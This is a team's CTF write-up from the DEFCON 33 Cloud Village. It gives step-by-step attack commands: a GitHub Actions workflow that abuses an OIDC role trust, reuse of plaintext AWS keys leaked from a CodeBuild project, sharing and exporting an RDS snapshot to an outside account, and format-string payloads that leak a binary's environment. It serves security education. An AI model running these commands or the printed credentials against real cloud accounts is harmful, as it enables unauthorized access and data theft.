Skip to content

WriteUp: Cloud Village CTF DEFCON 33

Once again, we couldn't resist the call of a CTF scoreboard! 🎯 This time, we participated in the Cloud Village CTF at DEFCON 33.

Cloud Village CTF

We managed to solve 13 out of 25 challenges and secured a Top 10 finish out of 146 teams!

Final Ranking

Not bad for just three of us.. especially because we were also tweaking the final details for our Cloud Village workshop: Level Up Your CI/CD: Building a secure pipeline with OSS. 🀯

We will talk more about this topic in future posts, in the meantime you can take a look at the workshop repository.

Now, let's get to the writeups! 🀘

Here's a walkthrough of three particularly interesting challenges that showcase different aspects of cloud security vulnerabilities: CI/CD misconfigurations, infrastructure drift, and classic binary exploitation but in cloud containers.

Action Theft Repo ~ 890

Action Theft Repo Challenge

Initial Analysis

The challenge began with an S3 bucket containing an HTML file that referenced a GitHub organization: HEXNOVA404.

HEXNOVA GitHub Organization

GitHub Actions Leak

Digging through the organization's repositories, we discovered a credentials leak in a GitHub Actions workflow log:

Leaky GitHub Action Job

The workflow logs exposed two base64-encoded values:

  • Role ARN: YXJuOmF3czppYW06OjE3MDk3NDUwNjUxNTpyb2xlL2dpdGh1Yi1kZXBsb3ltZW50LXJvbGU=
  • Secret ID: aW50ZXJuYWwvc2VjcmV0cy9pZC12Mg==

Decoding these revealed an AWS role ARN and a secret ID:

echo 'YXJuOmF3czppYW06OjE3MDk3NDUwNjUxNTpyb2xlL2dpdGh1Yi1kZXBsb3ltZW50LXJvbGU=' | base64 -d
arn:aws:iam::170974506515:role/github-deployment-role

echo 'aW50ZXJuYWwvc2VjcmV0cy9pZC12Mg==' | base64 -d
internal/secrets/id-v2

Exploiting the GitHub OIDC Trust Relationship

This had all the vibes of last year's challenge Warden's Ruse, so we created a private fork and tried to assume the exposed role using OIDC and get the secret from AWS Secrets Manager.

name: ctf

on:
  workflow_dispatch:

permissions:
  id-token: write
  contents: read

jobs:
  tf:
    runs-on: ubuntu-latest
    steps:
      - name: Configure AWS credentials via OIDC
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::170974506515:role/github-deployment-role
          role-session-name: github-deployment-role
          aws-region: us-west-2

      - name: Get secret
        run: |
          SECRET_JSON=$(aws secretsmanager get-secret-value \
            --secret-id internal/secrets/id-v2 \
            --region us-west-2 \
            --query 'SecretString' \
            --output text)

          EXTID=$(echo "$SECRET_JSON" | jq -r '.external_id')
          echo "extid: $EXTID"

This successfully retrieved an external ID from AWS Secrets Manager, yay! πŸŽ‰

Secret Retrieved

Second Assume Role

In parallel, we discovered a public gist within the same organization:

GitHub Gist

Inspecting the revision history we found deleted content containing:

  • Another role ARN: arn:aws:iam::170974506515:role/prod-readonly-auditor
  • An S3 bucket name: ci-deployment-logsv1
  • A reference to the external ID requirement

Gist Revision History

Privilege Escalation and Flag Extraction

Using the external ID from the secret, we could now assume the production auditor role and get the flag from the S3 bucket:

- name: Assume role with external id and retrieve flag
  run: |
    # Assume the production auditor role using the external ID
    CREDS=$(aws sts assume-role \
      --role-arn "arn:aws:iam::170974506515:role/prod-readonly-auditor" \
      --role-session-name "pivot" \
      --external-id "$EXTID" \
      --output json)

    # Configure new credentials
    export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r '.Credentials.AccessKeyId')
    export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r '.Credentials.SecretAccessKey')
    export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r '.Credentials.SessionToken')

    # Access the S3 bucket and retrieve the flag
    aws s3 cp s3://ci-deployment-logsv1/ci-deploy-output.log -

(well, to be fair we did first an aws s3 ls to know the file name πŸ˜…)

Boom! πŸ’₯ The flag was ours!

Flag Retrieved

Real-World Impact

This challenge perfectly demonstrates a chain of vulnerabilities commonly found in real CI/CD pipelines:

  1. Public GitHub Actions logs exposing sensitive information
  2. Overly permissive OIDC trust relationships allowing any GitHub user to assume roles
  3. Sensitive information in revision history that are "deleted" but still accessible

Pipeline Drift ~ 870

Pipeline Drift Challenge

Initial Analysis

"Drift" is a term used with infrastructure that has drifted away from its intended state, sometimes leaving security gaps. As we already had AWS credentials, we started with basic enumeration:

aws sts get-caller-identity
{
    "UserId": "AIDAXMQAGGFOSPOD3JJXA",
    "Account": "507880288605",
    "Arn": "arn:aws:iam::507880288605:user/ctf_player"
}

Given the challenge description, we searched for CodeBuild projects across AWS regions using a simple script (check_codebuild_regions.sh):

bash check_codebuild_regions.sh
Checking CodeBuild projects across all default AWS regions...
==========================================================
Current AWS Identity:
{
    "UserId": "AIDAXMQAGGFOSPOD3JJXA",
    "Account": "507880288605",
    "Arn": "arn:aws:iam::507880288605:user/ctf_player"
}

Checking region: us-east-1
  ❌ No projects found

Checking region: us-east-2
  ❌ No projects found

Checking region: us-west-1
  ❌ No projects found

Checking region: us-west-2
  βœ… Found projects in us-west-2:
    - legacy-project

^C

Found legacy-project in the us-west-2 region. πŸ”

CodeBuild Misconfiguration

Checking the "legacy" CodeBuild project we saw it had some secrets in plaintext:

aws codebuild batch-get-projects --names legacy-project --region us-west-2

[...]
    "environmentVariables": [
        {
            "name": "AWS_ACCESS_KEY_ID",
            "value": "AKIAXMQAGGFO5DD6NFK7",
            "type": "PLAINTEXT"
        },
        {
            "name": "AWS_SECRET_ACCESS_KEY",
            "value": "3Hlzlj+3h2w4Z7L5qZ6JmjRjs1WonB87ujw4nHVo",
            "type": "PLAINTEXT"
        }
    ],
[...]
And not any secret, but hardcoded AWS credentials as environment variables.

Why did I decide to check this?

Well... Andoni talking here, I do work for Prowler, so I wanted to see if it could be helpful in the CTF. I was running it in parallel while I was testing stuff to see what possible misconfigurations CodeBuild service could have.

And it was helpful!

CodeBuild Misconfiguration
Prowler output showing that the CodeBuild project included secrets in plaintext.

Infrastructure Archaeology

Using the leaked credentials, we discovered the "drift", some apparently leftover infrastructure that should have been cleaned up.

And of course I used Prowler again to enumerate which resources these new credentials could access.

prowler aws --region us-west-2

Prowler Results

The scan revealed an RDS snapshot named legacy-app-db-snapshot, very suspicious 🀨.

Snapshot Exploitation

The snapshot was already shared with external accounts, so we added our own account to the access list:

aws rds modify-db-snapshot-attribute \
    --db-snapshot-identifier "legacy-app-db-snapshot" \
    --attribute-name "restore" \
    --values-to-add "[ACCOUNT_ID]" \
    --region us-west-2

And instead of restoring the entire database, we exported the snapshot data to S3 for analysis:

aws s3 mb s3://rds-snapshot-export-ctf-analysis --region us-west-2

aws rds start-export-task \
    --export-task-identifier "legacy-export-analysis" \
    --source-arn "arn:aws:rds:us-west-2:507880288605:snapshot:legacy-app-db-snapshot" \
    --s3-bucket-name "rds-snapshot-export-ctf-analysis" \
    --iam-role-arn "arn:aws:iam::[ACCOUNT]:role/rds-snapshot-export-role" \
    --region "us-west-2"

After downloading the exported Parquet files, we analyzed the database contents using an online Parquet viewer and found the flag in the secrets table.

Flag in Database

Real-World Impact

This challenge perfectly demonstrates why proper infrastructure lifecycle management is crucial. Old snapshots, unused resources, and orphaned data can become significant security liabilities.

And once again, do not hardcode credentials, please.


TimeBomb ~ 850

TimeBomb Challenge

Initial Analysis

This challenge took us back to classic binary exploitation fundamentals, but in a containerized cloud environment. The challenge provided a Docker container with a C binary.

Code Analysis

Examining the source code revealed the vulnerability:

void vuln() {
    char buffer[512];
    puts("[-----------------------------------------]");
    puts("[  TIMEBOMB TERMINAL: TERMINAL INTERFACE  ]");
    puts("[-----------------------------------------]");
    puts(" [CLASSIFIED] Authorization required...");
    printf("Enter your OVERRIDE CODE: ");
    fflush(stdout);
    fgets(buffer, sizeof(buffer), stdin);
    printf(buffer);  // (1)!
    printf("\n[-] Done.\n");
    fflush(stdout);
    exit(0);
}
  1. Format String Vulnerability: The printf(buffer) call directly prints user input without a format specifier.

Vulnerability Confirmation

We confirmed the format string bug with a simple test:

# Input
%x.%x.%x.%x.%x.%x.%x.%x

# This revealed stack contents in hexadecimal, confirming the vulnerability

To locate our input on the stack:

# Input
AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

# Found our input (AAAA = 0x41414141) at stack position 6

Stack Layout

Claude Code was very helpful providing guidance and scripts to quickly test the ideas. All of them can be found here.

Stack Layout Discovery

By systematically leaking positions (%1$p, %2$p, etc.), we can map out:

  1. Our input location (position 6) - where "AAAA" appears
  2. Return addresses - code pointers we might overwrite
  3. Libc addresses (positions 18-19) - reveal ASLR base
  4. Environment pointers - might point to FLAG variable
  5. Stack addresses - potential write targets

Let's see if we can find the flag in the environment variables:

# Systematic environment variable extraction
%105$s  # AWS_EXECUTION_ENV=AWS_ECS_FARGATE
%110$s  # LAMBDA_URL=https://yavdhl4qozqpiugwirgyfhj4hm0hpykh.lambda-url.us-west-1.on.aws/
%115$s  # FLAG=FLAG-{Reverse7heBombt0trigg3rflagc4fb5} βœ…

The flag was hiding in plain sight at stack position 115! πŸ’₯

Real-World Impact

Even in containerized cloud environments, "classic" vulnerabilities like this one remain relevant. Container isolation doesn't usually protect against application-level vulnerabilities.


Repository & Additional Challenges

We've prepared a repository with writeups for the other challenges we solved, created with the amazing help of @sanchezpaco and @pedroot, who solved most of the challenges. πŸ”

You can find it here: CTF Cloud Village DEFCON 33 .

Wrapping Up

The Cloud Village CTF continues to demonstrate that cloud security requires understanding both traditional security fundamentals and modern cloud-native attack vectors.

Special shoutout to the Cloud Village organizers for another excellent CTF that combines realistic cloud scenarios with engaging technical challenges.

Team Results

By the way, this is us the first day at the DEFCON entrance. Writing this post I just realized we were so immersed in the CTF that we didn't take any picture of us playing it πŸ˜‚.

If you have any questions about our solutions or want to discuss these attack vectors further, don't hesitate to reach out!

Saludos, and may the force be with you.